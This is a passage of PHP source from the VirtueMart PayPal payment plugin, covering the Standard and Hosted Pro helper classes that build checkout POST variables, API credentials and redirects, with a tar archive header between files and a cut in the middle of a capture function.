			'en_GB' => 'https://www.paypal.com/en_GB/i/bnr/horizontal_solution_PP.gif',
			'de_DE' => 'https://www.paypal.com/de_DE/DE/i/logo/lockbox_150x47.gif',
			'es_ES' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
			'pl_PL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
			'nl_NL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
			'fr_FR' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif',
			'it_IT' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/it_IT/IT/i/bnr/bnr_horizontal_solution_PP_178wx80h.gif',
			'zn_CN' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif');
		$paypal_infolink = array('en_US' => 'https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'en_GB' => 'https://www.paypal.com/uk/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'de_DE' => 'https://www.paypal.com/de/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'es_ES' => 'https://www.paypal.com/es/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'pl_PL' => 'https://www.paypal.com/pl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'nl_NL' => 'https://www.paypal.com/nl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'fr_FR' => 'https://www.paypal.com/fr/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'it_IT' => 'https://www.paypal.com/it/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside',
			'zn_CN' => 'https://www.paypal.com/cn/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside');
		if (!isset($paypal_buttonurls[$lang_iso])) {
			$lang_iso = 'en_US';
		}
		$paypalProduct['link'] = $paypal_infolink[$lang_iso];
		$paypalProduct['img'] = $paypal_buttonurls[$lang_iso];
		return $paypalProduct;


	}


	function getOrderBEFields() {
		$showOrderFields = array(
			'ACK' => 'PAYMENTINFO_0_ACK',
			'TXN_ID' => 'PAYMENTINFO_0_TRANSACTIONID',
			'CORRELATIONID' => 'CORRELATIONID',
			'PAYER_ID' => 'payer_id',
			'MC_GROSS' => 'PAYMENTINFO_0_AMT',
			'MC_FEE' => 'PAYMENTINFO_0_FEEAMT',
			'TAXAMT' => 'PAYMENTINFO_0_TAXAMT',
			'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE',
			'PAYMENT_STATUS' => 'PAYMENTINFO_0_PAYMENTSTATUS',
			'PENDING_REASON' => 'PAYMENTINFO_0_PENDINGREASON',
			'REASON_CODE' => 'PAYMENTINFO_0_REASONCODE',
			'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE',
			'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY',
			'PROTECTION_ELIGIBILITYTYPE' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITYTYPE'
		);
		return $showOrderFields;
	}

	function highlight($field) {
		return '<span style="color:red;font-weight:bold">' . $field . '</span>';
	}
}
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/**
 *
 * Paypal payment plugin
 *
 * @author Jeremy Magne
 * @author Valérie Isaksen
 * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $
 * @package VirtueMart
 * @subpackage payment
 * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */


defined('_JEXEC') or die('Restricted access');

//https://cms.paypal.com/mx/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_html_Appx_websitestandard_htmlvariables

class PaypalHelperPayPalStd extends PaypalHelperPaypal {

	var $merchant_email = '';

	function __construct($method,$paypalPlugin) {
		parent::__construct($method,$paypalPlugin);
		//Set the credentials
		if ($this->_method->sandbox  ) {
			$this->merchant_email = $this->_method->sandbox_merchant_email;
		} else {
			$this->merchant_email = $this->_method->paypal_merchant_email;
		}
		if (empty($this->merchant_email)) {
			$sandbox = "";
			if ($this->_method->sandbox  ) {
				$sandbox = 'SANDBOX_';
			}
			$text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'MERCHANT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
			vmError($text, $text);
			return FALSE;
		}
	}

	public function ManageCheckout() {
		return $this->preparePost();
	}

	public function preparePost() {


		$post_variables = $this->initPostVariables($this->_method->payment_type);
		$paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency);


		switch ($this->_method->payment_type) {
			case '_xclick':
			case '_donations':
				$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
				$post_variables['amount'] = $this->total;
				break;
			case '_oe-gift-certificate':
				$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
				//$post_variables['amount'] = round ($paymentCurrency->convertCurrencyTo ($this->_method->payment_currency, $this->order['details']['BT']->order_total, FALSE), 2);;
				$post_variables['fixed_denom'] = vmPSPlugin::getAmountValueInCurrency($this->order['details']['BT']->order_salesPrice, $this->_method->payment_currency);
				//$post_variables['min_denom'] = $this->total;
				//$post_variables['max_denom'] = $this->total;
				$post_variables['shopping_url'] = JURI::root();
				$post_variables['buyer_name'] = $this->order['details']['BT']->first_name . ' ' . $this->order['details']['BT']->last_name;
				if (array_key_exists('ST', $this->order['details'])) {
					$post_variables['recipient_name'] = $this->order['details']['ST']->first_name . ' ' . $this->order['details']['ST']->last_name;
				}
				break;

			case '_cart':
				$this->addPrices($post_variables);

				break;

			case '_xclick-subscriptions':

				$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;

				if ($this->_method->subcription_trials) {
					$post_variables['a1'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; //Trial1 price.
					$post_variables['p1'] = $this->getDurationValue($this->_method->trial1_duration);
					$post_variables['t1'] = $this->getDurationUnit($this->_method->trial1_duration);
				}
				/*if ($this->_method->subcription_trials == 2) {
					$post_variables['a2']		= ($this->_method->trial2_price) ? $this->_method->trial2_price : 0; //Trial2 price.
					$post_variables['p2']       = $this->getDurationValue($this->_method->trial2_duration);
					$post_variables['t2']       = $this->getDurationUnit($this->_method->trial2_duration);
				}*/
				$post_variables['a3'] = $this->total; //Regular subscription price.
				$post_variables['p3'] = $this->getDurationValue($this->_method->subscription_duration);
				$post_variables['t3'] = $this->getDurationUnit($this->_method->subscription_duration);

				$post_variables['src'] = 1; //Recurring payments. Subscription payments recur unless subscribers cancel their subscriptions before the end of the current billing cycle or you limit the number of times that payments recur with the value that you specify for srt
				$post_variables['srt'] = $this->_method->subscription_term; //Recurring times. Number of times that subscription payments recur. Specify an integer with a minimum value of 1 and a maximum value of 52. Valid only if you specify src="1"
				$post_variables['sra'] = 1; //Reattempt on failure. If a recurring payment fails, PayPal attempts to collect the payment two more times before canceling the subscription.
				$post_variables['modify'] = 0; //Modification behavior. Allowable values are:
				//0 – allows subscribers only to sign up for new subscriptions,
				//1 – allows subscribers to sign up for new subscriptions and modify their current subscriptions
				//2 – allows subscribers to modify only their current subscriptions
				break;

			case '_xclick-auto-billing':
				$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
				//A description of the automatic billing plan.
				$post_variables['max_text'] = $this->_method->payment_desc;
				//Specify whether to let buyers enter maximum billing limits in a text box or choose from a list of maximum billing limits that you specify.
				//Allowable values are:
				//max_limit_own – your button displays a text box for buyers to enter their own maximums above a minimum billing limit that you set with the min_amount variable.
				//max_limit_defined – your button displays a dropdown menu of product options with prices to let buyers choose their maximum billing limits.
				$post_variables['set_customer_limit'] = 'max_limit_defined';
				//The minimum monthly billing limit, if you have one. Valid only if set_customer_limit = max_limit_own.
				//$post_variables['min_amount'] 	= 0;
				$post_variables['min_amount'] = $this->total;
				switch ($this->_method->billing_max_amount_type) {
					case 'cust':
						$post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->customerData->getVar('autobilling_max_amount'), $this->_method->payment_currency);
						break;
					case 'value':
						$post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->_method->billing_max_amount, $this->_method->payment_currency);
						break;
					case 'perc':
						$percentage = $this->_method->billing_max_amount;
						$max_amount = ($this->total * floatval($percentage)) / 100 + $this->total;
						$post_variables['max_amount'] = round($max_amount, 2);
						break;
					case 'cart':
					default:
						$post_variables['max_amount'] = $this->total;
						break;
				}
				break;

			case '_xclick-payment-plan':

				$post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number;
				$post_variables['disp_tot'] = 'Y'; //Display the total payment amount to buyers during checkout
				$post_variables['option_index'] = 0;
				$post_variables['option_select0_type'] = 'E'; //F – pay in full, at checkout, E – pay in equal periods, beginning at checkout or sometime later, V – pay in variable periods, beginning at checkout
				if ($this->_method->payment_plan_defer) {
					$post_variables['option_select0_a0'] = '0.00';
					$post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_defer_duration);
					$post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_defer_duration);
					$post_variables['option_select0_n0'] = 1;

					$post_variables['option_select0_a1'] = round($this->total / $this->_method->payment_plan_term, 2);
					$post_variables['option_select0_p1'] = $this->getDurationValue($this->_method->payment_plan_duration);
					$post_variables['option_select0_t1'] = $this->getDurationUnit($this->_method->payment_plan_duration);
					$post_variables['option_select0_n1'] = $this->_method->payment_plan_term;
				} else {
					$post_variables['option_select0_a0'] = round($this->total / $this->_method->payment_plan_term, 2);
					$post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_duration);
					$post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_duration);
					$post_variables['option_select0_n0'] = $this->_method->payment_plan_term;
				}
				$post_variables['os0'] = 'pay-in-' . $this->_method->payment_plan_term;
				$post_variables['option_select0'] = 'pay-in-' . $this->_method->payment_plan_term;
				$post_variables['option_select0_name'] = $this->_method->payment_name;

		}

		$url = $this->_getPayPalUrl();
		// add spin image
		$html = '<html><head><title>Redirection</title></head><body><div style="margin: auto; text-align: center;">';
		if ($this->_method->debug) {
			$html .= '<form action="' . $url . '" method="post" name="vm_paypal_form" target="paypal">';
		} else {
			$html .= '<form action="' . $url . '" method="post" name="vm_paypal_form" accept-charset="UTF-8">';
		}
		$html .= '<input type="hidden" name="charset" value="utf-8">';

		foreach ($post_variables as $name => $value) {
			$html .= '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value) . '" />';
		}
		if ($this->_method->debug ) {
			if ($this->_method->debug) {

				$html .= '<div style="background-color:red;color:white;padding:10px;">
						<input type="submit"  value="The method is in debug mode. Click here to be redirected to PayPal" />
						</div>';
			}
			$this->debugLog($post_variables, 'PayPal request:', 'debug');

		} else {

			$html .= '<input type="submit"  value="' . JText::_('VMPAYMENT_PAYPAL_REDIRECT_MESSAGE') . '" />
					<script type="text/javascript">';
				$html .= '		document.vm_paypal_form.submit();';
				$html .= '	</script>';
		}
		$html .= '</form></div>';
		$html .= '</body></html>';

		return $html;
	}

	// todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge

	function initPostVariables($payment_type) {

		$address = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);

		$post_variables = Array();
		$post_variables['cmd'] = '_ext-enter';
		$post_variables['redirect_cmd'] = $payment_type;
		$post_variables['paymentaction'] = strtolower($this->_method->payment_action);
		$post_variables['upload'] = '1';
		$post_variables['business'] = $this->merchant_email; //Email address or account ID of the payment recipient (i.e., the merchant).
		$post_variables['receiver_email'] = $this->merchant_email; //Primary email address of the payment recipient (i.e., the merchant
		$post_variables['order_number'] = $this->order['details']['BT']->order_number;
		$post_variables['invoice'] = $this->order['details']['BT']->order_number;
		$post_variables['custom'] = $this->context;
		$post_variables['currency_code'] = $this->currency_code_3;
		if ($payment_type == '_xclick') {
			$post_variables['address_override'] = $this->_method->address_override; // 0 ??   Paypal does not allow your country of residence to ship to the country you wish to
		}
		$post_variables['first_name'] = $address->first_name;
		$post_variables['last_name'] = $address->last_name;
		$post_variables['address1'] = $address->address_1;
		$post_variables['address2'] = isset($address->address_2) ? $address->address_2 : '';
		$post_variables['zip'] = $address->zip;
		$post_variables['city'] = $address->city;
		$post_variables['state'] = isset($address->virtuemart_state_id) ? ShopFunctions::getStateByID($address->virtuemart_state_id, 'state_2_code') : '';
		$post_variables['country'] = ShopFunctions::getCountryByID($address->virtuemart_country_id, 'country_2_code');
		$post_variables['email'] = $this->order['details']['BT']->email;
		$post_variables['night_phone_b'] = $address->phone_1;


		$post_variables['return'] =  JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid' ). '&lang='.JRequest::getCmd('lang','')  ;
		//Keep this line, needed when testing
		//$post_variables['return'] 		= JRoute::_(JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'),
		$post_variables['notify_url'] = JURI::root() .  'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component' . '&lang='.JRequest::getCmd('lang','') ;
		$post_variables['cancel_return'] =JURI::root(). 'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','')  ;

		//$post_variables['undefined_quantity'] = "0";
		//$post_variables['test_ipn'] = $this->_method->debug;
		$post_variables['rm'] = '2'; // the buyer’s browser is redirected to the return URL by using the POST method, and all payment variables are included
		// todo: check when in subdirectories
		// todo add vendor image
		//$post_variables['image_url'] 			= JURI::root() . $vendor->images[0]->file_url;
		$post_variables['bn'] = self::BNCODE;

		$post_variables['no_shipping'] = $this->_method->no_shipping;
		$post_variables['no_note'] = "1";

		if (empty($this->_method->headerimg) OR $this->_method->headerimg == -1 ) {
			$post_variables['image_url'] = $this->getLogoImage();
		} else {
			$post_variables['cpp_header_image'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->headerimg;
		}
		/*
		 * The HTML hex code for your principal identifying color.
* Valid only for Buy Now and Add to Cart buttons and the Cart Upload command.
* Not used with Subscribe, Donate, or Buy Gift Certificate buttons.
		 */
		if ($this->_method->bordercolor) {
			$post_variables['cpp_cart_border_color'] = str_replace('#', '', strtoupper($this->_method->bordercolor));
		}
// TODO Check that paramterer
		/*
		 * cpp_payflow_color The background color for the checkout page below the header.
		 * Deprecated for Buy Now and Add to Cart buttons and the Cart Upload command
		 *
		 */
		//	$post_variables['cpp_payflow_color'] = 'ff0033';

		return $post_variables;
	}

	function addPrices(&$post_variables) {

		$paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency);

		$i = 1;
		// Product prices
		if ($this->cart->products) {
			foreach ($this->cart->products as $key => $product) {
				$post_variables["item_name_" . $i] = $this->getItemName($product->product_name);
				if ($product->product_sku) {
					$post_variables["item_number_" . $i] = $product->product_sku;
				}
				$post_variables["amount_" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]);
				$post_variables["quantity_" . $i] = $product->quantity;
				$i++;
			}
		}

		$post_variables["handling_cart"] = $this->getHandlingAmount();
		$post_variables["handling_cart"] += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency);
		$post_variables['currency_code'] = $this->currency_code_3;
		if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) {
			$post_variables['discount_amount_cart'] = abs(vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency));
		}
		$pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency);
	}

	function getExtraPluginInfo() {
		return;
	}

	function getOrderBEFields() {
		$showOrderBEFields = array(
			'TXN_ID' => 'txn_id',
			'PAYER_ID' => 'payer_id',
			'PAYER_STATUS' => 'payer_status',
			'PAYMENT_TYPE' => 'payment_type',
			'MC_GROSS' => 'mc_gross',
			'MC_FEE' => 'mc_fee',
			'TAXAMT' => 'tax',
			'MC_CURRENCY' => 'mc_currency',
			'PAYMENT_STATUS' => 'payment_status',
			'PENDING_REASON' => 'pending_reason',
			'REASON_CODE' => 'reason_code',
			'PROTECTION_ELIGIBILITY' => 'protection_eligibility',
			'ADDRESS_STATUS' => 'address_status'
		);


		return $showOrderBEFields;
	}
	function onShowOrderBEPaymentByFields($payment) {
		$prefix = "paypal_response_";
		$html="";
		$showOrderBEFields=$this->getOrderBEFields();
		foreach ($showOrderBEFields as $key => $showOrderBEField) {
			$field=$prefix.$showOrderBEField;
			// only displays if there is a value or the value is different from 0.00 and the value
			if ($payment->$field) {
				$html .= $this->paypalPlugin->getHtmlRowBE($prefix.$key, $payment->$field);
			}
		}



		return $html;
	}
}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypalhosted.php������������������������������������������������������������������������������������0000666�����������������00000040073�15137407016�0007766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 *
 * Paypal  Hosted Pro payment plugin
 *
 * @author Valérie Isaksen
 * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $
 * @package VirtueMart
 * @subpackage payment
 * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */


defined('_JEXEC') or die('Restricted access');

//PayPal error codes:
//https://developer.paypal.com/webapps/developer/docs/classic/api/errorcodes/
//API Reference
//https://developer.paypal.com/webapps/developer/docs/classic/api/
// https://cms.paypal.com/cms_content/GB/en_GB/files/developer/HostedSolution.pdf

class PaypalHelperPayPalHosted extends PaypalHelperPaypal {

	// Pay Now button; since version 65.1
	const BM_BUTTON_TYPE = 'PAYMENT';
	//A secure button, not stored on PayPal, used only to initiate the Hosted Solution checkout flow;
	//default for Pay Now button. Since version 65.1
	const BM_BUTTON_CODE = 'TOKEN';
	const BM_BUTTON_VERSION = '104.0';
	const PAYPAL_USER_LG = 64;
	var $api_login_id = '';
	var $api_signature = '';
	var $api_password = '';

	function __construct($method,$paypalPlugin) {
		parent::__construct($method,$paypalPlugin);
		//Set the credentials
		if ($this->_method->sandbox  ) {
			$this->api_login_id = $this->_method->sandbox_api_login_id;
			$this->api_signature = $this->_method->sandbox_api_signature;
			$this->api_password = $this->_method->sandbox_api_password;
		} else {
			$this->api_login_id = $this->_method->api_login_id;
			$this->api_signature = $this->_method->api_signature;
			$this->api_password = $this->_method->api_password;
		}

		if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) {
			$text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
			vmError($text, $text);
		}
		if ((empty ($this->_method->payflow_partner) OR empty($this->_method->sandbox_payflow_partner))) {
			$sandbox = "";
			if ($this->_method->sandbox  ) {
				$sandbox = 'SANDBOX_';
			}
			$text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'PAYFLOW_PARTNER'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
			vmError($text);
		}
	}

	public function ManageCheckout() {
		return $this->preparePost();
	}

	// todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge
	// verfiez la langue, à cause accent
	function initPostVariables($paypalMethod) {

		$post_variables = Array();
		$post_variables['METHOD'] = $paypalMethod;
		$post_variables['VERSION'] = self::BM_BUTTON_VERSION; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/
		$post_variables['USER'] = $this->api_login_id;
		$post_variables['PWD'] = $this->api_password;
		$post_variables['SIGNATURE'] = $this->api_signature;
		$post_variables['BUTTONTYPE'] = self::BM_BUTTON_TYPE;
		$post_variables['BUTTONCODE'] = self::BM_BUTTON_CODE;
		$post_variables['BUTTONIMAGEURL'] = 'https://www.paypal.com/en_US/i/btn/btn_paynow_SM.gif'; //we automatically redirect to paypal
		$post_variables['L_BUTTONVAR']['bn'] = self::BNCODE; // Identifies the source that built the code.

		return $post_variables;
	}

	function addBillTo(&$post_variables) {

		$addressBT = $this->order['details']['BT'];

		//Bill To
		$post_variables['L_BUTTONVAR']['billing_address1'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : '';
		$post_variables['L_BUTTONVAR']['billing_address2'] = isset($addressBT->address_2) ? $this->truncate($addressBT->address_2, 60) : '';
		$post_variables['L_BUTTONVAR']['billing_city'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : '';
		$post_variables['L_BUTTONVAR']['billing_zip'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : '';
		$post_variables['L_BUTTONVAR']['billing_state'] = isset($addressBT->virtuemart_state_id) ? $this->truncate(ShopFunctions::getStateByID($addressBT->virtuemart_state_id), 20) : '';
		$post_variables['L_BUTTONVAR']['billing_country'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code');
	}

	function addShipTo(&$post_variables) {

		$addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);

		//Ship To
		$post_variables['L_BUTTONVAR']['first_name'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; // First name of person the item is being shipped to.
		$post_variables['L_BUTTONVAR']['last_name'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; // Last name of person the item is being shipped to.
		$post_variables['L_BUTTONVAR']['address1'] = isset($addressST->address_1) ? $this->truncate($addressST->address_1, 60) : '';
		$post_variables['L_BUTTONVAR']['address2'] = isset($addressST->address_2) ? $this->truncate($addressST->address_2, 60) : '';
	}

	function addPaymentPageParams(&$post_variables) {
		$post_variables['L_BUTTONVAR']['template'] = $this->_method->template;

		if ($this->_method->bordercolor) {
			$post_variables['L_BUTTONVAR']['bodyBgColor'] = strtoupper($this->_method->bordercolor);
			$post_variables['L_BUTTONVAR']['payflowcolor'] = '#ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor));
		}

		$post_variables['L_BUTTONVAR']['headerBgColor'] = strtoupper($this->_method->headerBgColor);
		$post_variables['L_BUTTONVAR']['headerHeight'] = $this->_method->headerHeight;
		$post_variables['L_BUTTONVAR']['logoFont'] = $this->_method->logoFont;
		$post_variables['L_BUTTONVAR']['logoFontSize'] = $this->_method->logoFontSize;
		$post_variables['L_BUTTONVAR']['logoFontColor'] = $this->_method->logoFontColor;
		if ($this->_method->bodyBgImg) {
			$post_variables['L_BUTTONVAR']['bodyBgImg'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->bodyBgImg;

		}
		$post_variables['L_BUTTONVAR']['logoImage'] = $this->getLogoImage();

		$post_variables['L_BUTTONVAR']['bodyBgColor'] = $this->_method->bodyBgColor;
		$post_variables['L_BUTTONVAR']['PageTitleTextColor'] = $this->_method->PageTitleTextColor;
		$post_variables['L_BUTTONVAR']['PageCollapseBgColor'] = $this->_method->PageCollapseBgColor;
		//$post_variables['L_BUTTONVAR']['PageCollapseTextColor'] =    $this->_method->PageCollapseTextColor;
		$post_variables['L_BUTTONVAR']['orderSummaryBgColor'] = $this->_method->orderSummaryBgColor;
		if ($this->_method->orderSummaryBgImage) {
			$post_variables['L_BUTTONVAR']['orderSummaryBgImage'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->orderSummaryBgImage;
		}
		$post_variables['L_BUTTONVAR']['footerTextColor'] = $this->_method->footerTextColor;
		$post_variables['L_BUTTONVAR']['footerTextlinkColor'] = $this->_method->footerTextlinkColor;
		$post_variables['L_BUTTONVAR']['pageButtonBgColor'] = $this->_method->pageButtonBgColor;
		$post_variables['L_BUTTONVAR']['pageButtonTextColor'] = $this->_method->pageButtonTextColor;
		$post_variables['L_BUTTONVAR']['pageTitleTextColor'] = $this->_method->pageTitleTextColor;
		$post_variables['L_BUTTONVAR']['sectionBorder'] = $this->_method->sectionBorder;

	}

	function addOrderInfos(&$post_variables) {
		$post_variables['L_BUTTONVAR']['buyer_email'] = $this->order['details']['BT']->email; //Email address of the buyer.

		if (is_array($this->order) && is_object($this->order['details']['BT'])) {
			$post_variables['L_BUTTONVAR']['invoice'] = $this->order['details']['BT']->order_number;
		} else {
			if (is_object($this->order)) {
				$post_variables['L_BUTTONVAR']['invoice'] = $this->order->order_number;
			}
		}

	}

	function addPrices(&$post_variables) {

	}

	function addAmount(&$post_variables) {
		// Website Payment Standard has separate values for amount and quantity, whereas Hosted Solution uses subtotal only.
		// Ensure that the subtotal includes the amount you want to charge the buyer, taking into account any applicable discount and the quantity of items.
		$post_variables['L_BUTTONVAR']['subtotal'] = $this->total; // Amount charged for the transaction. If shipping, handling, Yes and taxes are not specified, this is the total amount charged.
		$post_variables['L_BUTTONVAR']['currency_code'] = $this->currency_code_3;
	}

	function addUrls(&$post_variables) {
		$post_variables['L_BUTTONVAR']['return'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='.  JRequest::getCmd('lang','');
		$post_variables['L_BUTTONVAR']['notify_url'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'.'&lang='.  JRequest::getCmd('lang','');
		$post_variables['L_BUTTONVAR']['cancel_return'] =JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='.  JRequest::getCmd('lang','');

	}

	function addConfigPaymentParams(&$post_variables) {
		$post_variables['L_BUTTONVAR']['address_override'] = $this->_method->address_override;
		$post_variables['L_BUTTONVAR']['noshipping'] = $this->_method->no_shipping;
		// for version 104 payment action must be lower case
		$post_variables['L_BUTTONVAR']['paymentaction'] = strtolower($this->_method->payment_action); // Identifies the source that built the code for the button.


	}

	public function preparePost() {

		$post_variables = $this->initPostVariables('BMCreateButton');
		$this->setTimeOut();
		$this->addOrderInfos($post_variables);
		$this->addPrices($post_variables);
		$this->addBillTo($post_variables);
		$this->addShipTo($post_variables);
		$this->addAmount($post_variables);
		$this->addUrls($post_variables);
		$this->addConfigPaymentParams($post_variables);
		$this->addPaymentPageParams($post_variables);


		$btn = 0;
		foreach ($post_variables['L_BUTTONVAR'] as $key => $buttonVar) {
			if (!empty($buttonVar)) {
				$post_variables['L_BUTTONVAR' . $btn++] = $key . '=' . $buttonVar;
			}
		}
		unset($post_variables['L_BUTTONVAR']);


		$this->sendRequest($post_variables);
		$valid = $this->handleResponse();
		if ($valid) {
			//$this->customerData->setVar('token', $this->response['TOKEN']);
			//$this->customerData->save();
			if ($this->_method->template != 'templateD') {
				$this->redirectToPayPal();
			} else {
				return true;
			}

		} else {
			//$this->customerData->clear();
			return false;
		}
		return true;


	}

	function redirectToPayPal() {

		$websitecode = $this->response['WEBSITECODE'];
		$emailink = $this->response['EMAILLINK'];

		if ($this->_method->debug AND $this->_method->template != 'templateD') {
			echo '<div style="background-color:red;color:white;padding:10px;">The method is in debug mode. <a href="' . $emailink . '">Click here to be redirected to PayPal</a></div>';
			echo '<div style="background-color:red;color:white;padding:10px;">The method is in debug mode. ' . $websitecode . 'Click here to be redirected to PayPal</a></div>';
			jexit();
		} else {
			header('location: ' . $emailink);
		}
	}

	function DoCapture($payment) {

		$paypal_data = json_decode($payment->paypal_fullresponse);
		//Only capture payment if it still pending
		if ($paypal_data->payment_status != 'Pending' && $paypal_data->pending_reason != 'Authorization') {
			return false;
		}
		$post_variables = $this->initPostVariables('DoCapture');

		//Do we need to reauthorize ?
		$reauth = $this->doReauthorize($payment->paypal_response_txn_id, $paypal_data);

		// the authorisation identification number of the payment you want to capture.
		if ($reauth === false) {
			$post_variables['AUTHORIZATIONID'] = $paypal_data->txn_id;
		} else {
